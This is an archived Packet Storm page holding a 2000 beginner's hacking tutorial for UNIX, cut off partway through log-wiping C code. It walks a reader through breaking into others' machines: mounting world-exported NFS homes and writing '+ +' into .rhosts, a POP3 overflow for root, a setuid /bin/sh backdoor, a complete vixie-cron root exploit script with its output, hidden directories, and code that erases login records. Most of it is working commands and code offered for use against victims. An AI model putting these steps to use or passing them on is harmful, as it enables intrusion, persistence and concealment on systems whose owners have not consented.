<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<title>Slx2k001.txt &#8776; Packet Storm</title>
<meta name="description" content="Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers" />
<meta name="keywords" content="security,exploit,advisory,whitepaper,xss,csrf,overflow,scanner,vulnerability" />
<link rel="shortcut icon" href="/img/pss.ico" />
<link rel="stylesheet" media="screen,print,handheld" href="https://packetstatic.com/css1589669798/pss.css" type="text/css" />
<!--[if lt ie 8]><link rel="stylesheet" type="text/css" href="https://packetstatic.com/css1589669798/ie.css" /><![endif]-->
<script type="text/javascript" src="https://packetstatic.com/js1589669798/pt.js"></script>
<script type="text/javascript" src="https://packetstatic.com/js1589669798/pss.js"></script>
<link rel="search" type="application/opensearchdescription+xml" href="https://packetstormsecurity.com/opensearch.xml" title="Packet Storm Site Search" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Headlines" href="https://rss.packetstormsecurity.com/news/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Recent Files" href="https://rss.packetstormsecurity.com/files/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Exploits" href="https://rss.packetstormsecurity.com/files/tags/exploit/" />
<link rel="alternate" type="application/rss+xml" title="Packet Storm Advisories" href="https://rss.packetstormsecurity.com/files/tags/advisory/" />
</head>
<body id="files">
<div id="t">
   <div id="tc">
      <a id="top" href="/"><img src="https://packetstatic.com/img1514015884/ps_logo.png" width="315" height="65" id="logo" alt="packet storm" /></a>
      <div id="slogan">exploit the possibilities
</div>
      <div id="account"><a href="https://packetstormsecurity.com/account/register/">Register</a> | <a href="https://packetstormsecurity.com/account/login/">Login</a></div>
      <div id="search">
        <form method="get" action="/search/"><input type="text" name="q" id="q" maxlength="120" value="Search &#8230;" /><button type="submit"></button><div id="q-tabs"><label for="s-files" class="on">Files</label><label for="s-news">News</label><label for="s-users">Users</label><label for="s-authors">Authors</label><input type="radio" value="files" name="s" id="s-files" /><input type="radio" value="news" name="s" id="s-news" /><input type="radio" value="users" name="s" id="s-users" /><input type="radio" value="authors" name="s" id="s-authors" /></div></form>
      </div>
   </div>
    <div id="tn"><div id="tnc">
        <a href="/" id="tn-home"><span>Home</span></a> <a href="/files/" id="tn-files"><span>Files</span></a> <a href="/news/" id="tn-news"><span>News</span></a> <a href="/services/" id="tn-services"><span>Services</span></a> <a href="/about/" id="tn-about"><span>About</span></a> <a href="/contact/" id="tn-contact"><span>Contact</span></a> <a href="/submit/" id="tn-submit"><span>Add New</span></a>
    </div></div>
    <div id="tn2"></div>
</div>

<div id="c">

 <div id="cc">
     <div id="m">
    

    
    
    
     
    <div class="h1"><h1>Slx2k001.txt</h1></div>
<dl id="F23336" class="file first">
<dt><a class="ico text-plain" href="/files/download/23336/Slx2k001.txt" title="Size: 39.9 KB"><strong>Slx2k001.txt</strong></a></dt>
<dd class="datetime">Posted <a href="/files/date/2000-10-15/" title="19:53:08 UTC">Oct 15, 2000</a></dd>
<dd class="refer">Authored by <a href="/files/author/152/" class="person">Slash</a> | Site <a href="http://www.securologix.com/">securologix.com</a></dd>
<dd class="detail"><p>Hacker Resource #1 - Hacking UNIX for beginners.</p></dd>
<dd class="tags"><span>tags</span> | <a href="/files/tags/paper">paper</a></dd>
<dd class="os"><span>systems</span> | <a href="/files/os/unix">unix</a></dd>
<dd class="md5"><span>MD5</span> | <code>3c45ca057ea8156d4172403f650586cf</code></dd>
<dd class="act-links"><a href="/files/download/23336/Slx2k001.txt" title="Size: 39.9 KB" rel="nofollow">Download</a>  | <a href="/files/favorite/23336/" class="fav" rel="nofollow">Favorite</a> | <a href="/files/23336/Slx2k001.txt.html">View</span></a></dd>
</dl>
<div id="extra-links"><a href="/files/related/23336/Slx2k001.txt.html" id="related">Related Files</a><div id="share">
<h2>Share This</h2>
<ul>
<li><iframe scrolling="no" frameborder="0" allowtransparency="true" style="border: medium none; overflow: hidden; width: 90px; height: 28px;" src="https://www.facebook.com/plugins/like.php?href=https://packetstormsecurity.com/files/23336/Slx2k001.txt.html&amp;layout=button_count&amp;show_faces=true&amp;width=250&amp;action=like&amp;font&amp;colorscheme=light&amp;height=21"></iframe></li><li><iframe scrolling="no" frameborder="0" tabindex="0" allowtransparency="true" src="https://platform.twitter.com/widgets/tweet_button.html?_=1286138321418&amp;count=horizontal&amp;lang=en&amp;text=Slx2k001.txt&amp;url=https://packetstormsecurity.com/files/23336/Slx2k001.txt.html&amp;via=packet_storm" style="width: 110px; height: 21px; margin-top:5px;" title="Twitter"></iframe></li><li><a href="https://www.linkedin.com/shareArticle?mini=true&amp;url=https://packetstormsecurity.com/files/23336/Slx2k001.txt.html&amp;title=Slx2k001.txt&amp;source=Packet+Storm" class="LinkedIn">LinkedIn</a></li><li><a href="https://www.reddit.com/submit?url=https://packetstormsecurity.com/files/23336/Slx2k001.txt.html&amp;title=Slx2k001.txt" class="Reddit">Reddit</a></li><li><a href="" class="Digg">Digg</a></li><li><a href="http://www.stumbleupon.com/submit?url=https://packetstormsecurity.com/files/23336/Slx2k001.txt.html&amp;title=Slx2k001.txt" class="StumbleUpon">StumbleUpon</a></li></ul>
</div>
</div>
<div class="h1"><h1>Slx2k001.txt</h1></div>
<div class="src">
<div><a href="/mirrors/">Change Mirror</a> <a href="/files/download/23336/Slx2k001.txt">Download</a></div>
<pre><code>&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;<br />Title    : Hacker Resource #1<br />Rls. ID  : SLX2K001.TXT<br />Author(s): sLash&#94; (sLash&#64;securologix.com)<br />Rls. Date: 15/10/00<br />Rls. Site: http://www.securologix.com<br />&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;&#61;<br /><br />Greets to all RnD! ADM, LSD, Teso, ShadowPenguin, Mixter, w00w00, <br />Insecurity (stanly) hope you still remember me. #49ers (rootenboy) you <br />0wn3d me b4 &#61;), Deepcase (#ech0), too all eggdrop coder :\, Sekure.org,<br />Lam3rz, 9x, UniG, b4b0, skrilla and all unf !&#64;!#&#36;%. And also too real <br />coder and scriptkiddie out there. course, a big thanks to Necrose for <br />our nice site, to my old friend reko clan IRCnet BILAL, Pisang and <br />Roysan, to ex TNT crew form IRCNET, X-ORG and x-forces team members <br />(1996). <br /><br />Special greetings to eLcc team members burnz ma first mastah, c0redump<br />(wh0re mastah) &#61;) if you fly to US again I&#39;m gonna &#42;santau&#42; you :P, <br />jeunu (my linux mastah), ijal if ya come again I&#39;m gonna kiss ya &#61;) <br />and all members that I can&#39;t remember their name.  <br /><br />Documentation are for all ppl&#39;s out there who wanna know a bit about <br />UNIX security sh1t and etc. I just wanna share this, coz a lot of <br />ppl&#39;s asked about it on the net. So guys, 3nj0y 1t Th1s sh1t f0r y4! <br /><br /><br />WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  <br />WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  <br />WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  <br />WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  <br />WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  <br /><br />You are about entering security documentation.<br /><br /><br />1. INTRODUCTION<br /><br />Well, howdi folks... I guess you are all wondering who&#39;s this guy (me) <br />that&#39;s trying to show you a bit of everything... ? Well, I ain&#39;t <br />telling you anything of that... Copyright, and other stuff like this <br />(below).<br /><br />If you feel offended by this subject (hacking) or you think that you<br />could do better, don&#39;t read the below information... This file is for<br />educational purposes ONLY...;) I ain&#39;t responsible for any damages you<br />made after reading this...(I&#39;m very serious...) So this can be copied, <br />but not modified (send me the changes, and if they are good, I&#39;ll <br />include them ). Don&#39;t read it, &#39;cuz it might be illegal. I warned <br />you...<br />  <br />You&#39;ll learn some basic, simple and a bit hard tekneeq on how to r00t,<br />h4ck or 0wn local and remote machine. First thing you need is, your PC<br />:P &#61;), &#42;NIX Operating System or if ya don&#39;t have any your shell acc <br />might be will help ya and basic computer language such perl, C or <br />others.   <br /><br /><br />2. Getting access<br /><br />Now, I&#39;m going to show you an old tekneeq to gain access to remote <br />machine by using export list. Now try looking for showmount file. <br />Remember, you must be r00t to use this. othwersie, you&#39;ll get something<br />like this show up on your shell...<br /><br />bash&#36; find / -name showmount<br />find: /var/log/setup/tmp: Permission denied<br />find: /var/spool/cron: Permission denied<br />find: /var/spool/atjobs: Permission denied<br />find: /var/spool/atspool: Permission denied<br />find: /var/run/sudo: Permission denied<br />ctrl-c<br /><br />with r00t access<br /><br />bash&#36;  find / -name showmount<br />/usr/sbin/showmount<br />bash&#36;<br /><br />now try use this command<br /><br />bash&#36; /usr/sbin/showmount -e host.com<br />RPC: Program not registered.<br /><br />If ya g0t this msg, it means &#42;get hell outta from that host&#42; or try <br />other tekneeq which I&#39;ll show you later. Now, let&#39;s see what happen to <br />host vur with this export list :<br /><br />bash&#36; /usr/sbin/showmount -e host.com<br />/usr  host.com<br />/usr2 host2.com<br />/home (everyone)<br />/home2 host3.com<br />/cdrom (everyone)<br /><br />kay, look to /home (everyone) &lt;--- this means you can own this home <br />directory. Yeah ph33r! &#61;) now try this :<br /><br />bash&#36; mkdir /tmp/hack1<br />bash&#36; mount -t nfs host.com:/home /tmp/hack1/<br />bash&#36; ls -sal /tmp/mount<br />   total 9<br />   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./<br />   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../<br />   1 drwxr-xr-x   3 ita      users        1024 Jun 22 19:18 ita/<br />   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/<br />   1 drwxrx-r-x   3 rina     100          1024 Jul  6 13:42 rina/<br />   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 intan/<br />   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers<br />   1 drwx------   3 test     100          1024 Oct  8 21:05 test/<br />   1 drwx------  15 102      100          1024 Oct 20 18:57 mangkuk/<br />  <br />Well, we wanna hack into mangkuk home.<br />bash&#36; whoami;id;uname -a<br />root<br />uid&#61;0(root) gid&#61;0(root) groups&#61;100(users)<br />Linux ns 2.2.16 #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown<br />bash&#36; echo &quot;mangkuk::102:2::/tmp/hack1:/bin/sh&quot; &gt;&gt; /etc/passwd<br /><br />Don&#39;t worry about the .bash_history will fix it later.<br /><br />bash&#36; su - mangkuk<br />Welcome to mangkuk user.<br />mysite:&#126;&gt;ls -lsa /tmp/hack1/<br />   total 9<br />   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./<br />   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../<br />   1 drwxr-xr-x   3 ita      users        1024 Jun 22 19:18 ita/<br />   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/<br />   1 drwxrx-r-x   3 rina     100          1024 Jul  6 13:42 rina/<br />   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 intan/<br />   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers<br />   1 drwx------   3 test     100          1024 Oct  8 21:05 test/<br />   1 drwx------  15 mangkuk   daemon       1024 Oct 20 18:57 mangkuk/<br /><br />So we own this guy&#39;s home directory...<br /><br />bash&#36; echo &quot;+ +&quot; &gt; /home/mangkuk/.rhosts<br /><br />or type pwd to check directory.<br /><br />bash&#36; cd /<br />bash&#36; rlogin host.com<br /><br />or if you don&#39;t have rlogin try use <br /><br />bash&#36; rsh host.com<br /><br />Welcome to host.Com.<br />SunOs ver....(crap).<br />host.com&#36;<br /><br />This is the first old method that I always do.. Another method could be<br />to see if the site has an open port. That would mean we have chance to <br />get an access coz it usually vulnerable. You can get port scanner on <br />the net or use NMAP is better I think. Go to www.insecure.org and say <br />thanks to Fydor :\ &#61;) <br /><br />Now, let&#39;s see and r0x our sencond host.com<br /><br />bash&#36; nmap host2.com<br /><br />Starting nmap V. 2.54BETA5 ( www.insecure.org/nmap/ )<br />Interesting ports on host2.com (ip ere):<br />(The 1513 ports scanned but not shown below are in state: closed)<br />Port       State       Service<br />1/tcp      open        tcpmux                  <br />21/tcp     open        ftp                     <br />23/tcp     open        telnet                  <br />25/tcp     open        smtp                    <br />53/tcp     open        domain                  <br />79/tcp     open        finger                  <br />80/tcp     open        http                    <br />98/tcp     open        linuxconf               <br />110/tcp    open        pop-3                   <br />111/tcp    open        sunrpc                  <br />113/tcp    open        auth                    <br />137/tcp    filtered    netbios-ns              <br />138/tcp    filtered    netbios-dgm             <br />139/tcp    filtered    netbios-ssn             <br />513/tcp    open        login                   <br />514/tcp    open        shell                   <br />982/tcp    filtered    unknown                 <br />1024/tcp   open        kdm                     <br />1517/tcp   open        vpac                    <br />3128/tcp   open        squid-http              <br />7100/tcp   open        font-service            <br /><br />Nmap run completed -- 1 IP address (1 host up) scanned in 32 seconds<br />bash&#36;<br /><br />Looks like host2.com open his 110 service. And that&#39;s bad coz we can <br />get r00t from that service. Let&#39;s see what happens....<br /><br />bash&#36; ./pop3 host2.com<br /><br />QPOP 3.0b AUTH overflow (linux x86)<br /><br />&#91;uDc&#93; : &#91;0xbfffd150&#93; : unsuccessful.<br />&#91;uDc&#93; : &#91;0xbfffd344&#93; : unsuccessful.<br />&#91;uDc&#93; : &#91;0xbfffd538&#93; : successful.<br /><br />k4b0ooooOOOOoooOOOooo0mmmmmm <br />L3t&#39;s d4nc3 !!! &#61;)<br /><br />uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)<br />Linux host2.com 2.2.12-20krsmp #1 Thu May 18 19:51:22 JST 2000 i586 unknown<br /><br />Directory set to /<br /><br /><br /><br />Note: This sploit will never give you a prompt<br /><br />Looks like we g0t r00t &#61;) Now, let&#39;s make some nice backdoor Change the<br />games passwd<br /><br />passwd games <br />Changing password for games<br />Enter the new password (minimum of 5, maximum of 127 characters)<br />Please use a combination of upper and lower case letters and numbers.<br />New password:<br />Re-enter new password: <br />Password changed.<br />cp /bin/sh /bin/load<br />chmod a+s /bin/load<br />quit<br />bash&#36;<br /><br />What I&#39;m tryin to do is make a simple root backdoor command. In this <br />case command I was created &#39;load&#39;. Now telnet to host2.com<br /><br />bash&#36; telnet host2.com<br />Trying host2.com...<br />Connected to host2.com.<br />Escape character is &#39;&#94;&#93;&#39;.<br /><br />ALZZA Linux release 6.1 (Linux One)<br />Kernel 2.2.12-20krsmp on an i686<br />login:games<br />password:<br />Sat Oct 14 03:54:07<br />games&#64;host2.com&#36; load<br />games&#64;host2.com# whoami;id<br />root<br />uid&#61;2(games) gid&#61;2(games) euid&#61;0(root) egid&#61;0(root) groups&#61;2(games)<br />games&#64;host2.com#<br /><br />Now you need a suid.c to make our uid&#61;0 and gid&#61;0<br />Here&#39;s the code..<br /><br />-cut-<br /><br />main(argc,argv)<br />int argc;<br />char &#42;argv&#91;&#93;;<br />&#123;<br />    setuid(0); setgid(0); <br />        system(&quot;/bin/sh&quot;);<br />&#125;<br /><br />-cut-<br /><br />compile this suid.c at /bin direcotry<br /><br />games&#64;host2.com# pwd<br />/bin<br />games&#64;host2.com# cc suid.c -o crap<br />games&#64;host2.com# rm suid.c<br /><br />don&#39;t keep any &#42;.c file on your rooted machine just save it on your own<br />pc &#61;) Now try type &#39;crap&#39; and see what happens.<br /><br />games&#64;host2.com# crap<br />bash# whoami;id<br />root<br />uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)<br />bash# <br /><br />EOF_<br /><br />Remember, DO NOT adduser or any login on your rooted machine coz <br />&#39;adduser&#39; might help your rooted admin think that his system was <br />hacked by somebody. You are going to use &#39;games&#39; login to access your <br />rooted machine and your backdoor shell where I&#39;ll show you in step 4 <br />&#39;Keeping access&#39;. 0k3y p4l n0w ya g0t y0ur r00t b0x n0w. 3nj0y! We are <br />going to next step.<br /><br /><br />3. Hacking Local r00t<br /><br />In this section, you&#39;ll learning to root local root. It&#39;s means you <br />have an account on your victim machine. You just want to gain a root <br />access. Now, I will point to Linux rooting ere. There&#39;s a lot of sploit <br />out there. I&#39;m going to show you an old bugs on Linux system. It&#39;s not <br />really old but it&#39;s r0x &#61;)<br /><br />victim.com&#36; id;uname -a<br />uid&#61;1012(me) gid&#61;100(users) groups&#61;100(users)<br />Linux ns 2.2.16 #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown<br />victim.com&#36; ls -lsa /usr/bin/crontab<br />12 -rws--x--x   1 root     bin         10192 Jun 19 09:55 /usr/bin/crontab<br /><br />----------------cut----------------<br /><br />#!/bin/sh<br /><br />clear<br /><br />echo &#39;------------------------------------------------------------------&#39;<br />echo &#39;Marchew Hyperreal Industries                &lt;marchew&#64;dione.ids.pl&gt;&#39;<br />echo &#39;Stumilowy Las Team                       &lt;100milowy&#64;gdynia.ids.pl&gt;&#39;<br />echo &#39;---------------------------- presents ----------------------------&#39;<br />echo <br />echo &#39; -&#61; vixie-cron root sploit by Michal Zalewski &lt;lcamtuf&#64;ids.pl&gt; &#61;-&#39;<br />echo<br /><br />echo &#39;&#91;+&#93; Checking dependencies:&#39;<br /><br />echo -n &#39;   &#91;&#42;&#93; vixie crontab: &#39;<br /><br />if &#91; -u /usr/bin/crontab -a -x /usr/bin/crontab &#93;; then<br />  echo &quot;OK&quot;<br />else<br />  echo &quot;NOT FOUND!&quot;<br />  exit 1<br />fi<br /><br />echo -n &#39;   &#91;&#42;&#93; Berkeley Sendmail: &#39;<br /><br />if &#91; -f /usr/sbin/sendmail &#93;; then<br />  echo &quot;OK&quot;<br />else<br />  echo &quot;NOT FOUND!&quot;<br />  exit 1<br />fi<br /><br />echo -n &#39;   &#91;&#42;&#93; gcc compiler: &#39;<br /><br />if &#91; -x /usr/bin/gcc &#93;; then<br />  echo &quot;OK&quot;<br />else<br />  echo &quot;NOT FOUND!&quot;<br />  exit 1<br />fi<br /><br />echo &#39;   &#91;?&#93; Dependiences not verified:&#39;<br />echo &#39;      &#91;&#42;&#93; proper version of vixie crontab&#39;<br />echo &#39;      &#91;&#42;&#93; writable /tmp without noexec/nosuid option&#39;<br />echo &#39;&#91;+&#93; Exploit started.&#39;<br /><br />echo &quot;&#91;+&#93; Setting up .cf file for sendmail...&quot;<br /><br />cat &gt;/tmp/vixie-cf &lt;&lt;__eof__<br />V7/Berkeley<br /><br />O QueueDirectory&#61;/tmp<br />O DefaultUser&#61;0:0<br /><br />R&#36;+    \&#36;#local &#36;: \&#36;1    regular local names<br /><br />Mlocal,    P&#61;/tmp/vixie-root, F&#61;lsDFMAw5:/&#124;&#64;qSPfhn9, S&#61;10/30, R&#61;20/40,<br />    T&#61;DNS/RFC822/X-Unix,<br />    A&#61;vixie-root<br />__eof__<br /><br />echo &#39;&#91;+&#93; Setting up phase #1 tool (phase #2 tool compiler)...&#39;<br /><br />cat &gt;/tmp/vixie-root &lt;&lt;__eof__<br />#!/bin/sh<br /><br />gcc /tmp/vixie-own3d.c -o /tmp/vixie-own3d<br />chmod 6755 /tmp/vixie-own3d<br />__eof__<br /><br />chmod 755 /tmp/vixie-root<br /><br />echo &#39;&#91;+&#93; Setting up phase #2 tool (rootshell launcher)...&#39;<br /><br />cat &gt;/tmp/vixie-own3d.c &lt;&lt;__eof__<br />main() &#123;<br />  setuid(0);<br />  setgid(0);<br />  unlink(&quot;/tmp/vixie-own3d&quot;);<br />  execl(&quot;/bin/sh&quot;,&quot;sh&quot;,&quot;-i&quot;,0);<br />&#125;<br />__eof__<br /><br />echo &#39;&#91;+&#93; Putting evil crontab entry...&#39;<br /><br />crontab - &lt;&lt;__eof__<br />MAILTO&#61;&#39;-C/tmp/vixie-cf dupek&#39;<br />&#42; &#42; &#42; &#42; &#42; nonexist<br />__eof__<br /><br />echo &#39;&#91;+&#93; Patience is a virtue... Wait up to 60 seconds.&#39;<br /><br />ILE&#61;0<br /><br />echo -n &#39;&#91;+&#93; Tick.&#39;<br /><br />while &#91; &#36;ILE -lt 50 &#93;; do<br />  sleep 2<br />  let ILE&#61;ILE+1<br />  test -f /tmp/vixie-own3d &amp;&amp; ILE&#61;1000<br />  echo -n &#39;.&#39;<br />done<br /><br />echo<br />echo &#39;&#91;+&#93; Huh, done. Removing crontab entry...&#39;<br /><br />crontab -r<br /><br />echo &#39;&#91;+&#93; Removing helper files...&#39;<br /><br />rm -f /tmp/vixie-own3d.c /tmp/vixie-root /tmp/vixie-cf /tmp/df&#42; /tmp/qf&#42; &amp;&gt;/dev/null<br /><br />echo &#39;&#91;&#42;&#93; And now...&#39;<br /><br />if &#91; -f /tmp/vixie-own3d &#93;; then<br />  echo &#39;&#91;+&#93; Entering root shell, babe :)&#39;<br />  echo<br />  /tmp/vixie-own3d<br />  echo<br />else<br />  echo &#39;&#91;-&#93; Oops, no root shell found, patched system or configuration problem :(&#39;<br />fi<br /><br />echo &#39;&#91;&#42;&#93; Exploit done.&#39;<br /><br />----------------cut----------------<br /><br /><br />victim.com&#36; sh rootcron.sh<br /><br />------------------------------------------------------------------<br />Marchew Hyperreal Industries                &lt;marchew&#64;dione.ids.pl&gt;<br />Stumilowy Las Team                       &lt;100milowy&#64;gdynia.ids.pl&gt;<br />---------------------------- presents ----------------------------<br /> -&#61; vixie-cron root sploit by Michal Zalewski &lt;lcamtuf&#64;ids.pl&gt; &#61;-<br /><br />&#91;+&#93; Checking dependencies:<br />   &#91;&#42;&#93; vixie crontab: OK<br />   &#91;&#42;&#93; Berkeley Sendmail: OK<br />   &#91;&#42;&#93; gcc compiler: OK<br />   &#91;?&#93; Dependiences not verified:<br />      &#91;&#42;&#93; proper version of vixie crontab<br />      &#91;&#42;&#93; writable /tmp without noexec/nosuid option<br />&#91;+&#93; Exploit started.<br />&#91;+&#93; Setting up .cf file for sendmail...<br />&#91;+&#93; Setting up phase #1 tool (phase #2 tool compiler)...<br />&#91;+&#93; Setting up phase #2 tool (rootshell launcher)...<br />&#91;+&#93; Putting evil crontab entry...<br />&#91;+&#93; Patience is a virtue... Wait up to 60 seconds.<br />&#91;+&#93; Tick.....................................................<br />&#91;+&#93; Huh, done. Removing crontab entry...<br />crontab 2.3.2<br />crontab file &lt;opts&gt;  replace crontab from file<br />crontab -    &lt;opts&gt;  replace crontab from stdin<br />crontab -u user      specify user<br />crontab -l &#91;user&#93;    list crontab for user<br />crontab -e &#91;user&#93;    edit crontab for user<br />crontab -d &#91;user&#93;    delete crontab for user<br />crontab -c dir       specify crontab directory<br />&#91;+&#93; Removing helper files...<br />&#91;&#42;&#93; And now...<br />&#91;+&#93; Entering root shell, babe :)<br />bash# whoami;id<br />root<br />uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)<br />bash# <br /><br />Or you might try other sploit. I&#39;m not going put other sploit ere coz <br />fuckin tired ere besides i&#39;m too lazy :P to do that :P. All you have to <br />do is check the www.securityfocus.com and join the mailing list so you <br />know that a certain machine got a new bugs. When I say &#42;bugs&#42; it means <br />new sploit would be release. And this is good coz we&#39;ll get a new fresh <br />sploit to r0x our new victim machine &#61;) Or you can try other site. But <br />I like http://www.hack.co.za coz it&#39;s really r0x and updated everyday &#61;) <br />What I&#39;m tryin to tell you is don&#39;t keep the hacking news leave you <br />behind &#61;P <br /><br /><br />4. Keeping access <br /><br />Once you gor root access of couse you need to maintain it so the admin<br />don&#39;t recognize or know that his b0x was rooted by you. Other things<br />you have to do is to clean all logs. And try install a nice trojan and<br />rootkit. You can find it on the web or http://packetstorm.securify.com <br />I&#39;m not going to put a trojan or rootkit ere coz it&#39;s might make some <br />damage :P What I&#39;m going to show you know is to hide your self on your <br />rooted machine. Now create a directory somewhere deeper that system <br />admin can&#39;t find it :P <br /><br />Lets try this directory :<br /><br />bash# mkdir /usr/sbin/&quot;. &quot;<br />bash# chmod 0600 /usr/sbin/&quot;. &quot;<br />bash# cd /usr/sbin/&quot;.&quot;<br /><br />Note: this &quot;. &quot; directory are pretty nice. when you do a ls -lsa cmd it will hide to something similar on current directory. Now let&#39;s check who&#39;s logged on our rooted machine<br /><br />bash# w<br />  8:52am  up 16 days, 12:11,  1 user,  load average: 0.00, 0.00, 0.00<br />USER     TTY      FROM              LOGIN&#64;   IDLE   JCPU   PCPU  WHAT<br />games    pts/0    -cut-             6:22am  0.00s  0.80s   ?     -<br />bash# <br /><br />Lets hide ourself....<br /><br />----------------cut----------------<br /><br />#include &lt;sys/types.h&gt;<br />#include &lt;sys/stat.h&gt; <br />#include &lt;sys/uio.h&gt;  <br />#ifndef NO_ACCT<br />#include &lt;sys/acct.h&gt;<br />#endif<br />#include &lt;utmp.h&gt;<br />#include &lt;fcntl.h&gt;<br />#include &lt;unistd.h&gt;<br />#include &lt;stdio.h&gt; <br />#include &lt;ctype.h&gt; <br />#include &lt;string.h&gt;<br />#include &lt;pwd.h&gt;   <br />#include &lt;time.h&gt;  <br />#include &lt;stdlib.h&gt;<br /><br />#ifdef HAVE_LASTLOG_H<br />#include &lt;lastlog.h&gt; <br />#endif<br /><br />#ifdef HAVE_UTMPX<br />#include &lt;utmpx.h&gt;<br />#endif<br /><br />#ifndef UTMP_FILE<br />#ifdef _PATH_UTMP<br />#define UTMP_FILE       _PATH_UTMP<br />#else<br />#define UTMP_FILE       &quot;/var/adm/utmp&quot;<br />#endif<br />#endif<br /><br />#ifndef WTMP_FILE<br />#ifdef _PATH_WTMP <br />#define WTMP_FILE       _PATH_WTMP<br />#else<br />#define WTMP_FILE       &quot;/var/adm/wtmp&quot;<br />#endif<br />#endif<br /><br />#ifndef LASTLOG_FILE<br />#ifdef _PATH_LASTLOG<br />#define LASTLOG_FILE    _PATH_LASTLOG<br />#else<br />#define LASTLOG_FILE    &quot;/var/adm/lastlog&quot;<br />#endif<br />#endif<br /><br />#ifndef ACCT_FILE<br />#define ACCT_FILE       &quot;/var/adm/pacct&quot;<br />#endif<br /><br />#ifdef HAVE_UTMPX<br />   <br />#ifndef UTMPX_FILE<br />#define UTMPX_FILE      &quot;/var/adm/utmpx&quot;<br />#endif<br /><br />#ifndef WTMPX_FILE<br />#define WTMPX_FILE      &quot;/var/adm/wtmpx&quot;<br />#endif<br /><br />#endif /&#42; HAVE_UTMPX &#42;/<br /><br />#define BUFFSIZE        8192<br /><br /><br />/&#42;<br /> &#42; This function will copy the src file to the dst file.<br /> &#42;/<br />void<br />copy_file(char &#42;src, char &#42;dst)<br />&#123;<br />        int     fd1, fd2;<br />        int     n;<br />        char    buf&#91;BUFFSIZE&#93;;<br /><br />        if ( (fd1 &#61; open(src, O_RDONLY)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s during copy.\n&quot;, src);<br />                return;<br />        &#125;<br />  <br />  if ( (fd2 &#61; open(dst, O_WRONLY &#124; O_CREAT &#124; O_TRUNC)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Creating %s during copy.\n&quot;, dst);<br />                return;<br />        &#125;<br /><br />        while ( (n &#61; read(fd1, buf, BUFFSIZE)) &gt; 0)<br />                if (write(fd2, buf, n) !&#61; n) &#123;<br />                        fprintf(stderr, &quot;ERROR: Write error during copy.\n&quot;);<br />                        return;<br />                &#125;<br /><br />        if (n &lt; 0) &#123;<br />                fprintf(stderr, &quot;ERROR: Read error during copy.\n&quot;);<br />                return;<br />        &#125;<br />  <br />        close(fd1);<br />        close(fd2);<br />&#125;   <br /><br /> <br />/&#42;<br /> &#42; UTMP editing.  <br /> &#42;/<br />void<br />wipe_utmp(char &#42;who, char &#42;line)<br />&#123;<br />        int             fd1;<br />        struct utmp     ut;<br /><br />  printf(&quot;Patching %s .... &quot;, UTMP_FILE);<br />        fflush(stdout);<br />                <br />        /&#42;<br />         &#42; Open the utmp file.<br />         &#42;/<br />        if ( (fd1 &#61; open(UTMP_FILE, O_RDWR)) &lt; 0 ) &#123;<br />                fprintf(stderr, &quot;ERROR: Opening %s\n&quot;, UTMP_FILE);<br />                return;<br />        &#125;<br /><br />        /&#42;<br />         &#42; Copy utmp file excluding relevent entries.<br />         &#42;/<br />        while ( read(fd1, &amp;ut, sizeof(ut)) &gt; 0)<br />                if ( !strncmp(ut.ut_name, who, strlen(who)) )<br />                        if (!line &#124;&#124; (line &amp;&amp;<br />                          !strncmp(ut.ut_line, line, strlen(line)))) &#123;<br />                                bzero((char &#42;) &amp;ut, sizeof(ut));<br />                                lseek(fd1, (int) -sizeof(ut), SEEK_CUR);<br />                                write(fd1, &amp;ut, sizeof(ut));<br />                        &#125;<br /> <br />        close(fd1);<br /><br />        printf(&quot;Done.\n&quot;);<br />&#125;<br />        <br />/&#42;<br /> &#42; UTMPX editing if supported.<br /> 